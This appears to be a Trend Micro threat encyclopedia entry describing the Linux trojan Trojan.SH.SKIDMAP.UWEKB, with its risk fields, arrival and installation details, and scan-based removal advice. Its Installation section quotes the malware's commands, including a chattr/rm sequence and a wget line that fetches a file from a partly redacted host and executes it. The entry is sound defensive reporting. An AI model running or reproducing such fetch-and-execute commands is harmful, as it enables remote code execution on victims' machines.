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Trojan.SH.SKIDMAP.UWEKB

April 10, 2023
 Analysis by: Francesca Villasanta
 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,091 bytes

File Type:

Other

Memory Resident:

No

Initial Samples Received Date:

05 Apr 2023

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops and executes the following files:

  • /var/lib/gif

It adds the following processes:

  • md5sum gif|grep c40f853e641b91565ecc92fe1affd78e|grep -v grep |wc -l
  • chattr -ia -R /var/lib/gif  > /dev/null 2>&1
  • /bin/rm -rf /var/lib/gif
  • wget -c http://y.{BLOCKED}l.com/gif -O /var/lib/gif && chmod +x /var/lib/gif && /var/lib/gif

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://y.{BLOCKED}l.com/gif

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.374.03

FIRST VSAPI PATTERN DATE:

10 Apr 2023

VSAPI OPR PATTERN File:

18.375.00

VSAPI OPR PATTERN Date:

11 Apr 2023

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.SKIDMAP.UWEKB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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